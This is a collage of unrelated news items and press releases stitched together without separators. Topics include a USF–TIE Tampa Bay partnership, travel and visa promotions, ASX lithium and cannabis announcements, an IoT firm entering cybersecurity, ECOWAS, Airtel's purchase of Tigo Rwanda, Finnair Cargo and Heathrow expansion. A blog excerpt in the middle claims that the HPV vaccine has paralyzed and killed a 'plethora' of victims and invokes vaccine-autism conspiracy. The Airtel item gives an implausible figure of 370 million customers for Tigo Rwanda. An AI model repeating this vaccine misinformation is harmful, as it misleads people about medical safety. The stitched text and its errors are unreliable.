The University of South Florida has entered into a five-year collaboration agreement with TIE Tampa Bay, the local chapter of a global nonprofit dedicated to supporting entrepreneurs, to further the development of Tampa Bays economic ecosystem.

Weve seen in the small steps weve made ... how much that increases the startup ecosystem, says Valerie Landrio McDevitt, USF associate VP for technology transfer and business partnerships. My expectation is that we're going to be able to see greater interaction.

The collaboration began informally about a year and a half ago as an experiment.

We tested out this relationship without any paperwork, says TIE Tampa Bay President Ramesh Sambasivan. We wanted to make sure that we didnt start off with things that we will not be using.

The USF agreement involves its Tampa Bay Technology Incubator, which helps early stage technology companies succeed and grow, the incubators outreach arm USF Connect, and the Student Innovation Incubator. They are located in USF Research Park, which acts as a front door to the Tampa campus on Fowler Avenue.

TIE, founded in Silicon Valley in 1992, has 13,000 members in 61 chapters across the globe. It seeks to help entrepreneurs through mentoring, networking, education, incubating and funding.

Founded in 2012, TIE Tampa Bay is run by successful entrepreneurs who volunteer their time to help other entrepreneurs. In early 2017, angel investors from TIE formed the TIE Tampa Bay Angel Fund with the goal of attracting and retaining talent in the Tampa Bay and North-Central Florida region through capital and mentorship.

Sambasivan expects to see a closer collaboration now that the agreement is formalized. What we want to see unfold is a closer collaboration in terms of bringing potential mentors to the startup companies, founders and USF incubator space, he says. We want to be able to give the startup companies a pathway to capital, whether it is through TIEs network in Tampa or through TIE globally. The pathway just doesnt happen on its own.

He also expects TIE members who are investors to become more active in the incubators.

McDevitt credits Sambasivan for helping to bring the collaboration into being. Ramesh is essentially one of the catalysts of it, she says. My group and him work very well together, that whole group.

The TIE group is a critical component in the ecosystem, she explains. The local group has tremendous talent and then they also have an international reach.

Established in 1956, USF serves more than 49,000 students in three locations on an annual budget of $1.6 billion. In the last year, TBTI has served some 77 companies that either hired to retained 360 employees and raised more than $54 million externally.

The two groups have collaborated on six projects including the Startup Shuffle, which gave startups a chance to pitch to venture capitalists, among them Dr. Kanwal Rekhi of Silicon Valley.
Absolute Adventure Mexico, a popular private tour, is now online for allowing its old and new customers to book tours from the comfort of their homes. The agency is already popular for its quality tours and guides. Today, once again, it is back in breaking news for launching its official Website.

Those looking for a private and dive tour services for online enjoying exclusive holidays in the Mexican Riviera can now rely on Absolute Adventure Mexico. It has come up with its nicely designed Website that allows not only going through the available tours but also booking one of them quickly anytime and from anywhere.

The Home page itself reveals 16 bestselling tours in Mexicos Tulum, Playa Del Carmen, Cancun, and Riviera Maya. The portfolio includes several attractions right from scuba diving in the Caribbean to ruins of Tulum tour. Visitors can even find composite options such as Tulum Cenote tour (Tulum ruins and snorkeling in a cenote), Chichen Itza ruins and swim in a cenote, and Coba ruins and Punta Laguna Monkey Reserve.

From the Home page, clicking any of these tours opens a Webpage sharing details such as cost, online booking details, custom tour inquiry, booking form, itinerary, and reviews. This makes it truly easy for its online viewers to know all that is essential about the tour before booking it.

According to a spokesperson, Our goal is to ensure enjoyment in any Yucatan activity, may it be only sightseeing or snorkeling. This motivates our small but professional team is zealous about making our visitors live an adventure to make it unforgettable. The guides on sights are friendly and knowledgeable to add to that experience. Our legendary service allows our customers to view the Mexican Caribbean with a new vision. This is why we have been rated as excellent by over 400 TripAdvisor travelers.

About Absolute Adventure Mexico

Established since three years, Absolute-Adventure-Mexico is an esteemed tour agency located in the stunning Riviera Maya. Its mission is to offer adventurous as well as exciting but safe tours. All tour activities take place with private guides who know English and are available throughout the day. The agency is certified at SECTUR  Mexico Governmental Secretariat of Tourism.

For more information, kindly visit https://absolute-adventure-mexico.com/.

Media Contact

Company Name: Absolute Adventure Mexico

Contact Person: Tina B. Rodriguez

Email: contact@absolute-adventure-mexico.com

Phone: 0052 1 984 806 7432

Address:Calle 20 entre 20 y 25 77710

City: Playa del Carmen

State: Quintana Roo

Country: Mexico

Website: https://absolute-adventure-mexico.com/
Applicants get their visa via email, in the comfort of their homes

Sri Lanka is one of the top tourist destinations in the world with fantastic landscapes, ancient temples, and mesmerizing Buddha statues. It will take time and effort to get a regular visa to visit this beautiful country. eTA Sri Lanka offers tourists a service that allows them to get an eTA visa online, without leaving their home. Applying for eTA visa on their website only takes three steps. All the applicant need is to provide information from their passport by filling the application form, make payment, and the visa will be sent to them via email. The eTA Sri Lanka visa is available for tourists from India, and most part of Europe.

Apply for eTA Sri Lanka visa now by visiting their website at https://visit-sri-lanka.net/.

Getting a regular visa to Sri Lanka is possible but will take time and a bit of effort. Our service makes it easy for people to visit Sri Lanka as tourists, ordering visa at the comfort of their homes. Our platform is genuine, and we offer quick and efficient service so that people can come to Sri Lanka easily and enjoy unlimited adventure, said Bogdan, a representative of eTA Sri Lanka.

Why you should get our eTA visa

The eTA or Electronic Travel Authorization is an electronic visa required to by law for tourists to obtain before they can visit Sri Lanka. Unlike the regular visa that needs going to a government agency to get, eTA visa can be obtained online. The eTA visa allows tourists to enter Sri Lanka and take part in any tourist events, just like they have a regular visa. To qualify, applicants must have a passport valid for six months.

How to apply for eTA visa on sri-lanka.net

Applying for visa on the website is simple in three easy steps:

Provide information from passport to visa application. This will give them all the information they need to process the document. Information to be retrieved includes the date of birth, nationality, flight details, occupation, gender, etc. Make payment using a credit card. Once payment is confirmed, the eTA visa will be sent to the applicants email.

About Sri Lanka eTA Visa

Sri Lanka eTA Visa is an online platform that provides Electronic Visa Authorization to tourists coming into Sri Lanka.

For more information, please contact 077 5167 2979, bt@ivs.travel, or visit https://visit-sri-lanka.net/.

Media Contact

Company Name: Sri Lanka eTA Visa

Contact Person: Bogdan

Email: bt@ivs.travel

Phone: +48514705935

Country: Poland

Website: https://visit-sri-lanka.net/


Harvest One (CVE:HVST) Operational Update

Perth, Dec 19, 2017 AEST (ABN Newswire) - MMJ PhytoTech Limited ( ASX:MMJ ) ("MMJ" or "the Company") is pleased to advise that TSX-V listed Harvest One Cannabis Inc. ( CVE:HVST ) ("Harvest One"), which is 59% owned by MMJ, has released an operational update on its wholly-owned horticultural subsidiary United Greeneries Ltd ("United Greeneries").



The update from Harvest One outlines a binding purchase agreement entered into by United Greeneries for 398 acres of agricultural land (the "Property") in British Columbia, and provides details of United Greeneries' comprehensive cannabis outdoor growing strategy.



About Harvest One Cannabis Inc.



Harvest One Cannabis Inc. ( CVE:HVST ) controls operations across the entire cannabis value chain through three business units, with Harvest One serving as the umbrella company over horticultural arm United Greeneries and medical arm Satipharm AG. Each business is strategically located in favourable jurisdictions with supportive regulatory frameworks in place. United Greeneries has received a Canadian medicinal cannabis cultivation licence, making Harvest One one of only a few companies globally with the capacity to commercially cultivate cannabis in a federally regulated environment.



To view the full copy of the Harvest One announcement, please visit:

http://abnnewswire.net/lnk/2E5H98EB





About MMJ Group Holdings Ltd





MMJ Group Holdings Ltd (ASX:MMJ) is a global cannabis investment company. MMJ owns a portfolio of minority investments and aims to invest across the full range of emerging cannabis-related sectors including healthcare, technology, infrastructure, logistics, processing, cultivation, equipment and retail. For MMJ's latest investor presentation and news, please visit: https://www.mmjphytotech.com.au/investors/


Significant Widths and Grades of Spodumene at Sandras

Adelaide, Dec 19, 2017 AEST (ABN Newswire) - Core Exploration Ltd ( ASX:CXO ) ("Core" or the "Company") is pleased to announce new assay results from multiple drill intersections that confirm the potential of the 100%-owned Sandras Prospect to host high-grade spodumene pegmatite. These results from the first drilling program undertaken at Sandras by Core demonstrate the potential for pegmatites other than BP33 and Grants within the Finniss and Bynoe Lithium Projects to have significant spodumene grades and thicknesses.



HIGHLIGHTS



- New High-Grade Lithium drill assays received from the recent RC drilling at Sandras Prospect include:



o 27m @ 1.45% Li2O from 195m in SRC006



-- including a high grade interval of 7m @ 2.13% Li2O from 201m.



o 38m @ 1.08% Li2O from 94m in SRC002



-- including 8m @ 1.86% Li2O from 95m



o 19m @ 1.28% Li2O from 106m in SRC008



-- including 5m @ 1.89% Li2O from 111m



- New high-grade lithium intersections from Core's first drilling at Sandras confirm that there are other pegmatites beyond Grants and BP33 with significant spodumene grades and thicknesses



- Drilling and assay results indicate that Sandras pegmatite is open down plunge to the south, where grades appear to increase



- Further drilling planned in 2018 to test potential extensions and zones of increasing grade at Sandras



Sandras is located on the Company's newly acquired Bynoe Lithium Project on adjacent tenements to those that host the Grants Lithium Resource and BP33 spodumene pegmatite near Darwin (see Figure 3 in link below).



New assay results from Sandras include 27m @ 1.45% Li2O from 195m in SRC006 including 7m @ 2.13% Li2O from 201m, 38m @ 1.08% Li2O from 94m in SRC002 including 8m @ 1.86% Li2O from 95m and 19m @ 1.28% Li2O from 106m in SRC008 including 5m @ 1.89% Li2O from 111m (refer Table 1 in link below). The very high grade intervals of 7m @ 2.13% Li2O at Sandras are in line with those at Grants and BP33. Core's new assays reflect the highest grade intervals that have ever been drilled at Sandras.



Recent assay results confirm that spodumene grades increase with depth at Sandras (see Figure 1 in link below) and support the concept of a southerly plunge to the spodumene pegmatite body (see Figure 2 in link below). RC Drillhole SRC005 unfortunately terminated at 161m, prior to reaching the target depth, due to poor drilling conditions. Drilling to test this southerly plunge model via a diamond drill core tail is planned in 2018.



Next Steps



The recently received drilling results at Sandras will be assessed in early 2018 to undertake a preliminary evaluation of the size and continuity of spodumene mineralisation at Sandras. Step-out RC and diamond core drilling are the next steps planned at Sandras in the 2018 field season.



To optimise the effectiveness of drilling during the remaining field season, Core is fully focused on continuing diamond drilling and newly deployed RC drilling at BP33 until year end.



Early in January 2018, RC and diamond rigs will commence resource upgrade drilling at Grants.



Assay results from other pegmatite targets recently drilled on the new Bynoe Project as well as from drilling at BP33 and Grants will be received through the first quarter 2018.



To view tables and figures, please visit:

http://abnnewswire.net/lnk/8A6O3008





About Core Lithium Ltd





Core Lithium Ltd (ASX:CXO) is an emerging lithium producer focused on development of its Finniss Project near Darwin in the Northern Territory. Core owns 100% of Finniss, a major developing project that lies close to existing infrastructure such as the Darwin Port, grid power, gas and rail infrastructure.

The Finniss Project covers a 500km2 tenement holding and 25 historic pegmatite mines. The project area is about 80km from Darwin Port. Exploration work has generated a near term development timeline, with feasibility studies to be completed over the course of 2018 ahead of receipt of approvals in early 2019 and planned first production during 2019.

An aggressive exploration program is under way, which has confirmed the high quality prospectivity across much of the Finniss Project area. Core's stated ambition is to upgrade Finniss' resource base to fast-track commercialisation options.


Positive Preliminary Economic Assessment Maricunga

Sydney, Dec 19, 2017 AEST (ABN Newswire) - Lithium Power International Limited ( ASX:LPI ) ( LTHHF:OTCMKTS ) ("LPI" or "the Company") is pleased to provide details of the Preliminary Economic Assessment (PEA) for its Maricunga lithium brine project in northern Chile by the Maricunga joint venture company, Minera Salar Blanco (MSB).



Highlights



- The Maricunga Lithium Brine project's Preliminary Economic Assessment (PEA) supports 20,000 tonnes per annum (t/a) production of lithium carbonate (LCE) and 74,000t/a potassium chloride fertilizer (KCl) over 20 years.



- Project NPV is estimated to be US$1.049B before tax at 8% discount rate, providing an IRR of 23.4%.



- Payback in 2 years and 11 months based on a 2-year ramp up period.



- Project operating cost places Maricunga among most efficient producers with lithium carbonate production cost of US$2,938 per tonne (/t) FOB in Chile, reducing to US$2,635/t with credits from KCl by-product.



- Project development cost estimated at US$366M (LPI's 50% share estimated at US$183M) excluding KCl (US$23M), plus indirect costs of 14.2% (US$55M) and 18.6% (US$83M) contingency.



- The project is progressing to a feasibility study, providing improved certainty regarding reserves, metallurgical design, equipment and operational risks.



- Conventional evaporation pond and process technology to minimise operational risks.



- PEA completed by Tier-1 engineering consultancy WorleyParsons to international standards. Accuracy of operating and capital cost estimates expected within a +/- 25% range.



For full access to the PEA document prepared by WorleyParsons please visit http://lithiumpowerinternational.com/



Lithium Power International's Chief Executive Officer, Martin Holland, commented:



"Release of the PEA is a very important step towards becoming a lithium producer. The study demonstrates a very positive and robust outcome that justifies completion of a full feasibility study. The operating expenditure estimate places Maricunga in the lower quartile on the cost curve, at US$2,938/t (excluding KCl). The project has a payback of less than three years. It's important to state that the high level of detail in this study meets international standards."



Executive Summary and Key Study Parameters



The project plan is to produce 20,000t/a of lithium carbonate (LCE), with production of 74,000t/a of potassium chloride (KCl) from year 3 of the project when potash salts have accumulated to a level where continuous processing can be carried out. Key operating and capital costs are summarised in Tables 1 to 3 (see link below).



The study was based on extraction of an average 222 litres per second (l/s) of brine throughout the project life of 20 years. The brine commences approximately 10cm below the salt lake surface and extends below the base of the proposed bore field at 200m below the surface. Brine will be extracted from a minimum of 13 individual wells, pumping via a central collection pond to the evaporation ponds.



In the evaporation ponds, the brine would be concentrated through evaporation and chemical saturation, with precipitation of different salts, such as halite, sylvinite and carnallite. All salts that precipitate would be periodically harvested from the ponds, and stored in designated stockpiles. The sylvinite and carnallite salts would be sent directly to the KCl processing plant, where through processes of size reduction and classification, flotation, leaching, drying and packaging, KCl fertilizer is obtained.



Concentrated lithium brine from the evaporation ponds would be pumped to the reservoir ponds, from which a Salt Removal Plant would be fed. This plant would remove calcium impurities as calcium chloride and tachyhydrite from the brine. This would be achieved through consecutive evaporation and crystallization steps. This process allows a higher concentration of lithium in the brine.



The concentrated lithium brine obtained from the Salt Removal Plant would then be fed to the lithium carbonate plant, where purification, solvent extraction and filtration remove remaining impurities including calcium, magnesium and boron. The concentrated lithium brine would then be fed to a carbonation stage, where through the addition of soda ash, the lithium carbonate precipitates. This precipitated lithium carbonate would then be fed to a centrifuge for water removal, and final drying, size reduction and packaging. The lithium and potash products would be exported from ports in the second region of Chile, near Antofagasta.



The project has excellent existing infrastructure. The project is located beside one of the international roads connecting Chile and Argentina. High capacity electricity infrastructure is also nearby, providing excellent power options for the project development.



Completion of a definitive feasibility study in the second half of 2018 and securing the project environmental and operating permits will take the Company to the point of final decision to proceed and financial investment.



To view the full release with tables and figures, please visit:

http://abnnewswire.net/lnk/CZQ65AW8





About Lithium Power International Ltd





Lithium Power International Limited (ASX:LPI) is a pure-play lithium explorer and developer, focusing on developing and fast-tracking to production the high-grade Maricunga lithium brine project in Chile.

LPI has a well-known performing technical team with the experience to take the Maricunga project all the way through the development stages to production.

The regions that LPI is currently focused on are:

1. Maricunga JV (Chile) - Located within the "Lithium Triangle", Maricunga is Chile's highest grade and most advanced lithium project outside the Salar de Atacama. The project lies 170 km northeast of Copiapo and 250 km from the port of Caldera.

2. Pilbara (Western Australia) - LPI has three granted exploration tenements covering 203 km2 in the Pilbara region of northern Western Australia. The largest granted exploration tenement is the Pilgangoora tenement which is 2-3 km west of the Pilbara Minerals (ASX:PLS) and Altura Mining (ASX:AJM) lithium deposits.

3. Greenbushes (Western Australia) - LPI has two granted exploration tenements covering 400 km2 in the Greenbushes area of southern Western Australia. The tenements are adjacent to the world's largest hard rock lithium mine owned and operated by Tianqi/Talison.

4. Centenario (Argentina) - Through its Argentinian subsidiary, Lithium Power holds a total of seven granted tenements in the Centenario lithium brine salar within the Salta province of the Puna Plateau. In total, the seven granted tenements cover an area of 68.46 km2.

With the exception of the Maricunga JV, all tenements are 100% owned by LPI or LPSA (including rights to the Centenario tenements).


Enters Cyber-Security Sector

Melbourne, Dec 19, 2017 AEST (ABN Newswire) - Australian Internet of Things (IoT) technology company, Xped Limited ( ASX:XPE ) ("Xped" or "the Company"), today announced it entered into a binding term sheet agreement on the 29th of October with Heuresy LLC. The term sheet is subject to two conditions precedent both of which were satisfied on the 14th of December. Under these arrangements both parties will work together to expand the use of Auto Discovery Remote Control ("ADRC") technologies and App into the cyber-security sector targeting use by United States Government agencies.



Pursuant to the term sheet, Xped has also entered into a further binding term sheet whereby multiple companies will be utilising its technologies to develop a highly secure cybersecurity solution capable of meeting the stringent requirements of the United States Government.



This solution will include, but not be limited to, trusted hardware devices, two-factor authentication, secure messaging, secure Internet of Things (IoT) networking and non-repudiation of events.



The initial focus of product development is a secure email and strong authentication solution targeted mainly at government and military procurement opportunities within the United States, and digital asset exchanges including cryptocurrency exchanges. The objective is for this secure email capability to be integrated into the Xped App giving the App the ability to provide secure messaging in addition to device control, electronic coupon delivery and a smart home dashboard.



In recent times there have been several serious cyber-attacks where insecure IoT devices were hijacked and used to disrupt important Internet based services. The ability to have highly secure IoT devices is something the US Government and others take very seriously. Therefore it is the intention that following on from the initial development, the same strong authentication and encryption solutions will be applied to ADRC based IoT gateways and devices.



Xped is contributing its ADRC technology stack, including the Xped App, and engineering development resources for this opportunity. BiObex LLC ("BiOBex") is contributing its high-calibre, two-factor authentication solution called SAFE ("Strong Authentication Front End"), including its hardware SAFE-Key, and engineering development resources. Heuresy LLC ("Heuresy") Heuresy will supply product integration management, commercialisation strategy, marketing, and sales. The term sheet between Xped, Heuresy and BiObex is for a term of six months unless extended or replaced with further definitive documents.



Each party involved in the binding term sheet arrangements retain ownership of its own patents, trademarks, and other intellectual property. New intellectual property that is developed jointly by Heuresy and Xped will be jointly owned by them.



In addition to the term sheets between Xped, Heuresy and BiOBex, Heuresy has entered into an agreement with a qualified U.S. government contractor to work co-operatively as teaming parties for up to six months in seeking to present and commercialise the solution to agencies and entities of the US Government. The contractor has existing contracts to supply products and services to the US Government and will work with Heuresy to contribute its expertise in cyber-security, deployment, and delivery.



Under the term sheet between Xped and Heuresy, Xped will receive 49% of the net revenues generated by sales to the U.S. Government with the remaining 51% going to the U.S. contractor as is required by law. Heuresy will receive a commission from Xped that will be negotiated on a case by case basis up to a maximum of 10% of Xped's share. A further provision of the term sheet appoints Keith Benson, the Principal of Heuresy, as Xped's Senior Vice President of Marketing and Sales for North America.



The initial arrangement between Xped and Heuresy has a term of 3 months unless extended or replaced with further definitive documents. To date Xped has paid Heuresy US$40,000 and has a commitment to pay a further US$60,000 of a total of US$100,000 under the term sheet. These funds are to be used for initial development activities and can be recovered from future revenues. Xped has no further obligations to fund additional development expenses unless it agrees. The arrangement between Heuresy and Xped incentivises Heuresy through revenue targets to be achieved within a 24 month period.



Milestone (United States Dollar): $500,000 in revenue received by Xped from United States commercialisation arising from contracts pursuant to the term sheet (within 6 months)



Shares Issued to Heuresy: 7.5 million shares





Milestone (United States Dollar): $1,000,000 in cumulative revenue received by Xped from United States commercialisation arising from contracts pursuant to the term sheet (within 12 months)



Shares Issued to Heuresy: 7.5 million shares



Milestone (United States Dollar): $2,000,000 in cumulative revenue received by Xped from United States commercialisation arising from contracts pursuant to the term sheet (for any 12 month period within 24 months)



Shares Issued to Heuresy: 7.5 million shares



Milestone (United States Dollar): $4,000,000 in cumulative revenue received by Xped from United States commercialisation arising from contracts pursuant to the term sheet (for any 12 month period within 24 months)



Shares Issued to Heuresy: 7.5 million shares



"Cyber-security is a critical component of any successful IT and IOT solution and the board believes there is an opportunity for revenue to be generated from this agreement and looks forward to bringing progress updates to the market," Xped Chairman, Mr Peter Hunt, said today.



About BiObex



BiObex is a privately owned company founded in 1999. The company's executive and technical management, with over forty years of experience in the information technology industry, has developed multi-factor authentication (MFA) software and hardware for security solutions designed to offer unprecedented protection for today's increased threat environment. http://www.biobex.com



About Heuresy



Heuresy specialise in cyber security and blockchain. Their founder, Keith Benson, is an electronics and communications systems architect, inventor, and entrepreneur with a proven track record of selling highly technical products into government departments in the US. http://www.heuresy.com





About XPED Ltd





XPED Ltd (ASX:XPE) is an Australian Internet of Things (IoT) technology business. Xped has developed revolutionary and patent-protected technology that allows any consumer, regardless of their technical capability, to connect, monitor and control devices and appliances found in our everyday environment. Xped provides technology solutions for Smart Home, Smart Building, and Healthcare.

At Xped, were Making Technology Easy Again(TM)
Distribution of company announcements to the professional platforms, finance portals and syndication of important corporate news to a wide variety of news aggregators and financial news systems.
Ecowas summit held in Abuja has designated a committee of the five heads of state. Nigeria, Togo, Cote dIvoire, Ghana and Guinea will study Moroccos membership to the ECOWAS, stated a communique sanctioning the works of the 52nd ordinary summit of the regional organization.

It was unclear whether technical considerations would be posited or whether both political and strategic aspects will prevail.

An impact study on the Kingdoms membership was commissioned earlier this year and ECOWAS teams travelled to Morocco to carry it out. The study report was released on December 7, just a week before the summit.

At the conclusion of the Abuja summit, the regional bloc decided to set up a committee composed of the Togolese, Ivorian, Ghanaian, Guinean and Nigerian presidents to adopt the terms of reference and oversee the in-depth study of the implications of Moroccos full membership, as well as the status of Tunisia as an observer and Mauritania as an associate member.

The study highlighted that from a legal standpoint, there is no provision allowing Moroccos accession, but nothing prevents it either.

In terms of security, Moroccos accession would be a value added for the region; and from a commercial point of view, the Kingdom is the second non-ECOWAS African investment partner in the region, after South Africa.

Actually, Morocco is no stranger to the zone given the economic and political links it already has with the member states.

In this regard, it should be recalled that, with the exception of Togo, Mohammed VI visited the other four countries making up the membership steering committee before Morocco submitted its membership application. The Monarch has even visited Cote dIvoire twice in 2017, in February and November.

It is up to the Committee of Five Heads of State to set the deadlines for Moroccos membership.
Friday 11 December 2009 - 12:32

A Nigerian court has issued an arrest warrant for a senior member of former President Olusegun Obasanjos administration charged with abuse of office and criminal conspiracy, reports Angola Press. Authorities have planned to ask Interpol for help in tracking down Nasir El-Rugai, Minister of the Federal Capital Territory under Obasanjo from 2003-2007, after he failed to show up to any of his court hearings in the past seven months.
Telecom operator Bharti Airtel said that it has signed an agreement with Millicom International Cellular S.A. to acquire 100 per cent stake in its Rwanda operation which operates under the brand name of Tigo Rwanda.

Bharti Airtel LimitedHas entered into a definitive agreement with Millicom International Cellular S.A. (Millicom) under which Airtel Rwanda Limited will acquire 100 percent equity interest in Tigo Rwanda Limited, Bharti Airtel said in a statement.

Under this deal, Tigos 370 million customers will join the network of Airtel Rwanda. The acquisition will make Airtel Rwanda the second largest operator in the country with revenues of over $80 million and a revenue market share of over 40 per cent, the statement said.

The consideration for the transaction is based on approximately 6x EBITDA multiple, payable over two years. The agreement is subject to regulatory and statutory approvals, the statement said.

Airtel at present operates in 15 African countries apart from India and South Asia.

Airtel and Tigo have already merged their operations to create a strong viable entity in Ghana. Today, it has taken yet another important step to acquire Tigo Rwanda to become a profitable and a strong challenger in a two-player market, Bharti Airtel Chairman, Sunil Bharti Mittal said on Tuesday.

In the past, Airtel acquired assets in Uganda (Warid) and Congo B (Warid), Kenya (yu Mobile) and consolidated operations in Ghana (Millicom).

We are also committed to the long term viability of our operations in two other countries i.e. Kenya and Tanzania, to ensure that in 2018 all our 15 operations in Africa start contributing positive margins and cash flows towards a healthy and profitable Airtel Africa, Mittal said.
When I was a 28 year old sales exec, my boss, mentor and dear friend taught me a phrase that I've used in all areas of my life, especially with my girls. "Don't punish progress," When there's a positive, don't poop on it with a qualification or indication that the progress isn't enough or worse with a negative. So when I read this opening from Slate.com, I had to pull back a bit. (Thanks Ginger Taylor for the heads up on this article.)



Theres no evidence that the HPV vaccine causes serious harm, but an investigation shows the trials werent designed to properly assess safety.



Oh, the heck with it. So, if the studies were not designed to properly assess safety OF COURSE THERE'S NO EVIDENCE THAT THE HPV VACCINE CAUSES SERIOUS HARM! This is exactly what happened at Simpsonwood regarding autism and vaccines. It's why Poul Thorsen is having tea with a mermaid in Denmark. No harm? Sure, except for the plethora of severely paralyzed, injured and deceased victims.



Read Mark Blaxill's series on the CDC/Merck partnership that created Gardasil titled, "License to Kill."



###

On a sunny autumn day three years ago, when Kesia Lyng was 30, she had a visit from her youngest sister, Eva. The two were close, and as they sat at the kitchen table in Lyngs apartment, Eva confronted her chronically ill sibling with a painful fact: You almost cant take care of your own kids, she told her. You cant keep pushing yourself so hard.

Lyng, who was living with her husband and their two children in a lusterless part of Copenhagen, Denmark, had been struggling for years with inexplicable health problems: joint and muscle pains that came and left, powerful headaches, and a crushing exhaustion that even copious amounts of sleep could not cure. She was working part-time in the kitchen of her daughters kindergarten, the latest in a string of odd jobs. But her sick days had begun to multiply again. Often she would call her husband at work, sobbing from weariness, and ask to be picked up. At home, she was drained, with no energy to clean or cook or tuck the kids in bed. In her medical records, which she shared with me, her doctor noted that she was having a very difficult time and that she worried about losing her job if she asked for a sick leave.
Finnair Cargo has held the official opening ceremony for its new 80m Cool Nordic hub at Helsinki Airport.

The airside facility measures 31,000 sq m, has a capacity of 350,000 tonnes per year and has 3,000 sq m dedicated areas for both pharma and perishables shipments.

The centre also boasts 550 10ft ULD positions, 29 truck doors for loose shipments, five truck doors for ULDs and an automated storage and retrieval system.

Speaking at the official inauguration of the terminal, Finnair Cargos managing director, Janne Tarvainen, said that operations at the terminal got underway in November with seafood shipments.

Full operations are expected to start in January, he added.

Tarvainen said that the primary driver for building the new facility was expected growth in demand in line with fleet expansion.

He explained that the existing facility was reaching capacity and delivery Finnairs new widebody A350 aircraft would help boost total cargo capacity by around 45% by 2020.

So far, 11 of 19 A350s have been delivered, with the remainder due for delivery by 2023.

Transhipment volumes, which represent around 80% of the cargo handled by the carrier at Helsinki, also continue to grow.

Tarvainen pointed out that flying through Helsinki was geographically the shortest route to Asia and that the airport did not suffer with congestion, unlike some of its larger European rivals.

As well as wanting to meet challenge of growing cargo volumes, the airline identified that it wanted its facility to be state-of-the-art, providing transparency and efficiency.

It also needed to be able to process cargo quickly because of the large volume of transhipment traffic.

Other challenges faced by the airline were outdated IT systems, reliance on paperwork, lack of visibility, rising labour costs, environmental concerns and poor data quality.

Tarvainen said the facility would also need to cater for the future: [When developing this facility] we tried to find excellence, but what does excellence look like? And, what will it look like in ten years? he asked.

Speed would be achieved through automation but also by removing data bottlenecks.

Part of the solution to improving quality and visibility of data is the introduction of its Cargo Eye monitoring tool, new cargo management and warehouse management systems and a cargo control centre.

The Cargo Eye solution integrates multiple data sources, transaction data and sensors to help its newly formed Cargo Control Center to monitor and steer cargo flows.

The carrier added that its Cargo Eye solution provides end-to-end visibility and will ultimately lead to more comprehensive and transparent real-time information for customers, helping them to identify exceptions that require action to be taken.

Shipments utilising road feeder services (RFS) can also be monitored using the system. In the future, all RFS suppliers will be required to provide connection to the Cargo Eye solution.

The facility has also been Breeam certified, meaning it has passed sustainability audits, with 10% of its power coming from 1,200 solar panels.

The facility is also in the process of achieving IATA CEIV Pharma certification.

Looking to the future, Tarvainen said that there was room for continuous improvement with potential investment in packing robot technology, automated guided vehicles at landside acceptance, integration of ramp operations in data exchange, enhanced temperature monitoring and improved digital tools.

Images: Airside with floor heating; AS RS system; Automated ULD storage; Perishables area; Pharma area










Local councils opposed to a third runway at London-Heathrow airport have challenged Transport Secretary Chris Grayling to withdraw his claim, made in October 2016, that an expanded Heathrow will be quieter in 2030 than today.

Wandsworth, Hillingdon, Richmond and Windsor & Maidenhead councils argue that the Department for Transports revised draft consultation on the airports national policy statement includes evidence showing that 92,700 additional people in the area around Heathrow will be exposed to noise by 2030 as a consequence of the third runway.

The total number of residents affected within the 54dB contour, where people are significantly annoyed by noise, would go up to 678,000 in this period, said a joint statement issue by the four councils located near Heathrow.

While producing this assessment for 2030 the consultation contains no forecasts for earlier years even though the additional runway is now predicted to be open in 2026.

Councillor Ravi Govindia, leader of Wandsworth Council, said: Now that the facts have emerged we urge the Secretary of State to withdraw his earlier statement that noise would not get worse. If he accepts the figures provided for his own consultation he should also now rethink his support for expansion at Heathrow.

The local authorities also urged the government to publish details of flight paths so that residents can be aware of how they will be affected before they respond to the government consultation. Currently only indicative routings are shown, the councils stated.

Councillor Ray Puddifoot, leader of Hillingdon Council, said: The councils find it deplorable that the communities which will be affected by noise from a third runway just have no way of knowing who they are. They will only find out after the decision to approve the runway has been set in stone.

This cannot be a fair way to run a consultation on a plan to place a new runway in the most densely populated part of the UK. 

Councillor Simon Dudley, leader of the Royal Borough of Windsor and Maidenhead, said: It is simply unacceptable that the communities affected by this expansion should have to put up with all the associated health impacts. Once again the only sensible conclusion is that Heathrow is simply the wrong place for expansion.

In their detailed response to the revised consultation the councils say that the evidence demonstrates that an expanded airport cannot be delivered without unacceptable air pollution and noise.

The councils conclude that the revised National Policy Statement (NPS) fails to show how an expanded airport could meet air quality limits in an area where pollution levels are deteriorating. This makes a third Heathrow runway unbuildable while expansion at Gatwick could go ahead without this risk.

Cllr Paul Hodgins, Leader of Richmond Council, said:This adds further to the case for expansion at Gatwick instead of Heathrow. An extra runway at Gatwick can be delivered with greater economic benefits than Heathrow, at lower cost and with no taxpayer funding. Its environmental impact in terms of noise and air pollution will also be substantially less. Based on the Governments own evidence supplied for the consultation it is the only rational conclusion.

The councils have submitted their detailed response to the consultation on the Governments revised draft National Policy Statement. The final NPS will provide the planning policy framework for an application for a new north-west runway at Heathrow.

Meanwhile, Heathrow management has identified options that could save 2.5bn on building the extra runway. The revised 14bn option would be delivered "without compromising on Heathrows local commitments or passenger experience," said a spokesperson..

The proposals  which will be released in detail as part of Heathrows public planning consultation in January  have been developed in close cooperation with the airlines and would ensure that Heathrow expanded with airport charges staying close to todays levels.

The options that would enable the identified 2.5bn cost reductions involve three things:

Repositioning new buildings over existing public transport and baggage infrastructure. This includes building additional capacity at both Terminals 2 and 5 rather than a dedicated terminal or satellite building between todays northern runway and the new northwest runway

Technological advancements which reduce the amount of terminal space required to process passengers without compromising experience

More efficient phasing of capacity construction  incrementally increasing terminal capacity in blocks to better match growing demand.

Heathrows executive director expansion, Emma Gilthorpe, said: The Secretary of State set us the challenge to deliver an expanded airport for Britain with passenger charges staying close to current levels.

"We have now identified potential savings of 2.5bn and are increasingly confident we can meet the affordability challenge. We are looking forward to presenting detailed options on how to do it in our consultation in January, and while we will continue to work to reduce the cost of expansion, we will not compromise on our local commitments.
Logistics giant Panalpina is to acquire the Belgium-based perishables specialists Adelantex and AD Handling.

The move follows similar acquisitions by Panalpina in September this year: Cool Chain Group in Germany, and Interfresh Airfreight Handling in the Netherlands.

The two Belgian companies are specialised in the handling of perishables imports in Brussels, Liege and Ostend airports.

Switzerland-based Panalpina will acquire the companies, subject to conditions, after reaching an agreement on December 18. The companies have agreed not to disclose any financial details of the deal.

With a presence in Brussels and Liege, Adelantex handles approximately 75,000 tons of airfreight imports per year, and manages ground handling at Brussels Airport, customs clearance and the onward distribution in Europe.

Stefan Karlen, chief executive of Panalpina, said: This latest acquisition in the perishables arena is another example of how we are building our end-to-end capabilities on the destination side in Europe.

